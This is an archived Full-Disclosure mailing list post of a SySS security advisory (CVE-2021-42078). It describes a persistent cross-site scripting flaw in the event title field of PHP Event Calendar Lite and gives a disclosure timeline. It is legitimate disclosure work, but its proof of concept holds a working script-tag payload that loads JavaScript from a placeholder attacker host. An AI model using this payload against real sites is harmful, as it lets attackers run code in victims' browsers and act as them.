lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 5 Nov 2021 07:09:40 +0100
From: Maurizio Ruchay <>
To: <>
Subject: [FD] [SYSS-2021-049] PHP Event Calendar - Persistent Cross-site
 Scripting (CVE-2021-42078)

Advisory ID:               SYSS-2021-049
Product:                   PHP Event Calendar
Manufacturer:              Kayson Group Ltd.
Affected Version(s):       PHP Event Calendar Lite edition
Tested Version(s):         PHP Event Calendar Lite edition
Vulnerability Type:        Cross-site Scripting (CWE-79)
Risk Level:                High
Solution Status:           Open
Manufacturer Notification: 2021-08-09
Public Disclosure:         2021-11-04
CVE Reference:             CVE-2021-42078
Authors of Advisory:       Erik Steltzner, SySS GmbH
                            Maurizio Ruchay, SySS GmbH



PHP Event Calendar is a multi-user web application designed
to manage and publish calendar events.

The manufacturer describes the product as follows (see [1] and [2]):

"PHP Event Calendar features day, week, month, year, agenda, and
resource views. It includes built-in reminder support so you can
deliver full-featured event scheduling management systems in
the shortest possible time."

"PHP Event Calendar is a out-of-box web calendar/scheduler solution.
It will run on web servers that support PHP 5.3 and higher."


Vulnerability Details:

The title of a calendar event is vulnerable to persistent cross-site 
scripting (XSS).

For example, the following title causes an event to be stored with a 
JavaScript code. As soon as some user opens the event in the detail 
view, the
JavaScript code stored on the attacker server will be executed.

<script src="http://<attacking-machine>/XSS.js"/>

This can be exploited by an adversary in multiple ways. For example, to
perform actions on the page in the context of other users.


Proof of Concept (PoC):

Adding an event with a malicious title:

POST /server/ajax/events_manager.php HTTP/1.1

HTTP/1.1 200 OK

When a victim opens the event in the detail view, the following request
loads the malicious code:

POST /server/ajax/events_manager.php HTTP/1.1

HTTP/1.1 200 OK
      "title":"<script src=\"http:\/\/<attacking-machine>\/XSS.js\"\/>",

As soon as the victim's browser renders this response, the malicious
script "XSS.js" is loaded and executed.



To prevent cross-site scripting attacks, all user-provided input should be
validated, and control characters should be masked in a context-sensitive


Disclosure Timeline:

2021-07-29: Vulnerability discovered
2021-08-09: Vulnerability reported to manufacturer
2021-11-04: Public disclosure of vulnerability



[1] Product Website for PHP Event Calendar
[2] Documentation Website for PHP Event Calendar
[3] SySS Security Advisory SYSS-2021-049
[4] SySS Responsible Disclosure Policy



This security vulnerability was found by Erik Steltzner and
Maurizio Ruchay of SySS GmbH.

Public Key:
Key ID: 0x4C7979CE53163268
Key Fingerprint: 6538 8216 555B FBE7 1E01 7FBD 4C79 79CE 5316 3268

Public Key:
Key ID: 0xC7D20E267F0FA978
Key Fingerprint: D506 AB5A FE3E 09AE FFBE  DEB2 C7D2 0E26 7F0F A978



The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.



Creative Commons - Attribution (by) - Version 3.0

Download attachment "OpenPGP_signature" of type "application/pgp-signature" (841 bytes)

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists